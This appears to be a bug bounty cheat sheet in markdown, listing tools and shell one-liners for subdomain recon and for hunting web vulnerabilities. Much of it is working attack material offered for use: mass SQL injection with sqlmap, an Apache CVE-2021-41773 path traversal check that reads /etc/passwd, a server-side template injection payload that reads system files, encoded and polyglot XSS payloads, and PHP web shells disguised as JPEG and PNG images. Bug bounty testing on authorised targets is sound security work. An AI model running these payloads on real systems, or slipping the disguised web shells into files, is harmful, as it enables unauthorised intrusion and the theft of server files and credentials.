bug_bounty.md

Bug Bounty Handbook

• Resources

Table of Contents

• Automated Subdomain Monitoring
• Burp Suite Extensions
• JavaScript
• Enumerate Subdomains, Web Servers and API Endpoints
• Find CNAME Records
• Find hidden Parameters in JavaScript Files
• Find JavaScript Files with gau and httpx
• Find Open Redirects
• Find Secrets in JavaScript Files
• Find Subdomains based on Certificates
• Find SQL-Injection (SQLi) at Scale
• Find basic SQL-Injection (SQLi), Cross-Site Scripting (XSS) and Server-Side Template Injection (SSTI) Vulnerabilities with Magic Payload
• Find Cross-Site Scripting (XSS) at Scale
• Fingerprinting with Shodan and Nuclei
• Hunting Checklist
• Path Traversal Zero-Day in Apache HTTP Server (CVE-2021-41773)
• Server-Side Template Injection (SSTI) at Scale
• Wayback Machine
• Web Shell / Malicious Images
• Wordpress Configuration Disclosure
• Cross-Site Scripting (XSS)

Resources

Name	Description	URL
Bug Crowd	Bug Bounty Platform	https://www.bugcrowd.com
CrowdStream	CrowdStream is a showcase of accepted and disclosed submissions on participating programs.	https://bugcrowd.com/crowdstream?filter=disclosures
disclose.io	We're here to make vulnerability disclosure safe, simple, and standardized for everyone.	https://disclose.io
HackerOne	Bug Bounty Platform	https://www.hackerone.com
Hacktivity	See the latest hacker activity on HackerOne	https://hackerone.com/hacktivity
InfoSecHub	n/a	https://linksshare.io
Intigriti	Bug Bounty Platform	https://www.intigriti.com

Automated Subdomain Monitoring

https://github.com/hakluke/haktrails

https://github.com/tomnomnom/anew

https://github.com/projectdiscovery/notify

Installation

$ go install -v github.com/hakluke/haktrails@latest
$ go install -v github.com/tomnomnom/anew@latest
$ go install -v github.com/projectdiscovery/notify/cmd/notify@latest

Configuration

haktrails

$ vi ~/.config/haktools/haktrails-config.yml

securitytrails:
  key: <API_KEY>

Notify

$ vi ~/.config/notify/provider-config.yaml

slack:
  - id: "slack"
    slack_channel: "recon"
    slack_username: "test"
    slack_format: "{{data}}"
    slack_webhook_url: "https://hooks.slack.com/services/XXXXXX"

  - id: "vulns"
    slack_channel: "vulns"
    slack_username: "test"
    slack_format: "{{data}}"
    slack_webhook_url: "https://hooks.slack.com/services/XXXXXX"

discord:
  - id: "crawl"
    discord_channel: "crawl"
    discord_username: "test"
    discord_format: "{{data}}"
    discord_webhook_url: "https://discord.com/api/webhooks/XXXXXXXX"

  - id: "subs"
    discord_channel: "subs"
    discord_username: "test"
    discord_format: "{{data}}"
    discord_webhook_url: "https://discord.com/api/webhooks/XXXXXXXX"

telegram:
  - id: "tel"
    telegram_api_key: "XXXXXXXXXXXX"
    telegram_chat_id: "XXXXXXXX"
    telegram_format: "{{data}}"
    telegram_parsemode: "Markdown" # None/Markdown/MarkdownV2/HTML (https://core.telegram.org/bots/api#formatting-options)

pushover:
  - id: "push"
    pushover_user_key: "XXXX"
    pushover_api_token: "YYYY"
    pushover_format: "{{data}}"
    pushover_devices:
      - "iphone"

smtp:
  - id: email
    smtp_server: mail.example.com
    smtp_username: test@example.com
    smtp_password: password
    from_address: from@email.com
    smtp_cc:
      - to@email.com
    smtp_format: "{{data}}"
    subject: "Email subject"
    smtp_html: false
    smtp_disable_starttls: false

googlechat:
  - id: "gc"
    key: "XXXXXXXX"
    token: "XXXXXX"
    space: "XXXXXX"
    google_chat_format: "{{data}}"

teams:
  - id: "recon"
    teams_webhook_url: "https://<domain>.webhook.office.com/webhookb2/xx@xx/IncomingWebhook/xx"
    teams_format: "{{data}}"

custom:
  - id: webhook
    custom_webhook_url: http://host/api/webhook
    custom_method: GET
    custom_format: '{{data}}'
    custom_headers:
      Content-Type: application/json
      X-Api-Key: XXXXX
      
custom:
  - id: webhookJson
    custom_webhook_url: http://host/api/webhook
    custom_method: GET
    custom_format: '{"text":{{dataJsonString}} }'
    custom_headers:
      Content-Type: application/json
      X-Api-Key: XXXXX

custom:
  - id: webhook
    custom_webhook_url: http://host/api/webhook
    custom_method: GET
    custom_sprig: '{"text":"{{ .url }}"}'
    custom_headers:
      Content-Type: application/json
      X-Api-Key: XXXXX

Monitoring Oneliner

$ while :; do echo <DOMAIN> | haktrails subdomain | anew subdomains.txt; sleep 86400; done | notify

Burp Suite Extensions

• JS Link Finder
• Upload Scanner
• Turbo Intruder
• HTTP Request Smuggler
• Auth Analyzer

JavaScript

JSFuck

http://www.jsfuck.com/

https://github.com/aemkei/jsfuck

https://github.com/aemkei/jsfuck/blob/master/jsfuck.js

![]                                          // false
!![]                                         // true
[][[]]                                       // undefined
+[![]]                                       // NaN
+[]                                          // 0
+!+[]                                        // 1
!+[]+!+[]                                    // 2
[]                                           // Array
+[]                                          // Number
[]+[]                                        // String
![]                                          // Boolean
[]["filter"]                                 // Function
[]["filter"]["constructor"]( <CODE> )()      // eval
[]["filter"]["constructor"]("<FOOBAR>")()    // window

Encoded Payload

<img src onerror="(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[]) [+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]++[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]]">

Enumerate Subdomains, Web Servers and API Endpoints

$ subfinder -d <DOMAIN> -silent | /home/<USERNAME>/go/bin/httpx -silent -o <DOMAIN>_httpx.txt; for i in $(cat <DOMAIN>_httpx.txt); do DOMAIN=$(echo $i | /home/<USERNAME>/go/bin/unfurl format %d); ffuf -u $i/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/api/api-endpoints.txt -o ${DOMAIN}_ffuf.txt; done

Find CNAME Records

$ for ip in $(cat <FILE>.txt); do dig asxf %ip | grep CNAME; done

Find hidden Parameters in JavaScript Files

$ assetfinder <DOMAIN> | gau | egrep -v '(.css|.svg)' | while read url; do vars=$(curl -s $url | grep -Eo "var [a-zA-Z0-9]+" | sed -e 's,'var','"$url"?',g' -e 's/ //g' | grep -v '.js' | sed 's/.*/&=xss/g'); echo -e "\e[1;33m$url\n\e[1;32m$vars"

Find JavaScript Files with gau and httpx

$ echo http://<DOMAIN> | gau | grep '\.js$' | httpx -status-code -mc 200 -content-type | grep 'application/javascript'

Find Open Redirects

$ echo "http://<RHOST>" | gau | grep =http | php -r "echo urldecode(file_get_contents('php://stdin'));"

Find Secrets in JavaScript Files

$ subfinder -d <DOMAIN> -silent | /home/<USERNAME>/go/bin/httpx -silent -o <DOMAIN>_httpx.txt; for i in $(cat <DOMAIN>_httpx.txt); do DOMAIN=$(echo $i | /home/<USERNAME>/go/bin/unfurl format %d) | cat <DOMAIN>_httpx.txt | nuclei -t /home/<USERNAME>/opt/03_web_application_analysis/nuclei-templates/exposures/tokens -o token-expose.txt; done

Find Subdomains based on Certificates

$ curl -s https://crt.sh/\?q\=<DOMAIN>\&output\=json | jq . | grep 'name_value' | awk '{print $2}' | sed -e 's/"//g'| sed -e 's/,//g' | awk '{gsub(/\\n/,"\n")}1' | sort -u

Find SQL-Injection (SQLi) at Scale

$ subfinder -d <DOMAIN> -silent -all | httpx -silent -threads 100 | katana -d 4 -jc -ef css,png,svg,ico,woff,gif | tee -a <FILE>
$ cat <FILE> | gf sqli | tee -a <FILE>
$ while read line; do sqlmap -u $line --parse-errors --current-db --invalid-logical --invalid-bignum --invalid-string --risk 3; done < <FILE>

Find basic SQL-Injection (SQLi), Cross-Site Scripting (XSS) and Server-Side Template Injection (SSTI) Vulnerabilities with Magic Payload

'"><svg/onload=alert()>{{7*7}}

Find Cross-Site Scripting (XSS) at Scale

XSStrike

https://github.com/s0md3v/XSStrike

https://github.com/lc/gau

https://github.com/projectdiscovery/katana

$ echo <DOMAIN> | gau | while read url; do python3 xsstrike.py -u $url --crawl -l 4 -d 5; done
$ echo <DOMAIN> | katana | while read url; do python3 xsstrike.py -u $url --crawl -l 4; done

$ subfinder -d <DOMAIN> -all -silent | httpx -silent | katana -silent | Gxss -c 100 | dalfox pipe --skip-bav --skip-mining-all --skip-grepping

Fingerprinting with Shodan and Nuclei

$ shodan domain <DOMAIN> | awk '{print $3}' | httpx -silent | nuclei -t /PATH/TO/TEMPLATES/nuclei-templates/

Hunting Checklist

Domains

1. Find Subdomains
2. Check CNAME Records of those subdomains and check for Subdomain Takeover

• Use WaybackUrls for URLs

3. Use MassScan for Port Scanning
4. Do Github recon

Web Applications

5. Check for CORS Misconfiguration
6. Check for Email Header Injection on Password Reset Function
7. Check for SMTP and HOST Header Injection
8. Check for IFRAMEs (Clickjacking)
9. Check for Improper Access Control and Paramter Tampering
10. Check Burp History for finding endpoint
11. Use Arjun for finding hidden endpoints
12. Check for Client-Side Request Forgery (CSRF)
13. Check for Server-Side Request Forgery (SSRF) Parameters
14. Check for Cross-Site Scripting (XSS) and Server-Side Template Injection (SSTI)
15. Check Cryptography in Reset Password Token
16. Check for Unicode Injection in Email Parameters
17. Check for Bypassing Rate Limits

Headers

X-Originating-IP:IP X-Forwarded-For:IP X-Remote-IP:IP X-Remote-Addr:IP X-Client-IP:IP X-Forwarded-Host:IP

18. Perform Directory Busting
19. Check for HTTP Request Smuggling
20. Check for Open Redirect through WaybackUrls
21. Check for Social-Signon Bypass
22. Check for state parameter in Social Sign-In & check whether it's possible to cause Denial of Service (DoS) using Multiple Cookie Injection
23. Check for File Upload: CSRF, XSS, SSRF, RCE, LFI, XXE
24. Check for Buffer Overflow

Path Traversal Zero-Day in Apache HTTP Server (CVE-2021-41773)

$ cat <FILE>.txt | while read host do ; do curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done

Server-Side Template Injection (SSTI) at Scale

$ echo "<DOMAIN>" | subfinder -silent | waybackurls | gf ssti | qsreplace "{{''.class.mro[2].subclasses()[40]('/etc/hostname').read()}}" | parallel -j50 -q curl -g | grep  "root:x"

Wayback Machine

Password Search

1. Access https://web.archive.org/
2. Type in the desired domain
3. Switch to the URL tab https://web.archive.org/web/*/https://*
4. Apply the filter %40

Web Shell / Malicious Images

$ echo -n -e '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]);?>.' > <FILE>.jpg
$ echo -n -e '\x89\x50\x4E\x47<?php system($_GET["cmd"]);?>.' > <FILE>.png

Wordpress Configuration Disclosure

$ subfinder -silent -d http://<DOMAIN> | httpx -silent -nc -p 80,443,8080,8443,9000,9001,9002,9003,8088 -path "/wp-config.PHP" -mc 200 -t 60

Cross-Site Scripting (XSS)

Ployglot Payload

Note that HTML tags that need to be closed for XSS.

<!--
<title>
<textarea>
<style>
<noscript>
<xmp>
<template>
<noembed>

--></title></textarea></style></noscript></script></xmp></template></noembed><svg/onload=alert()>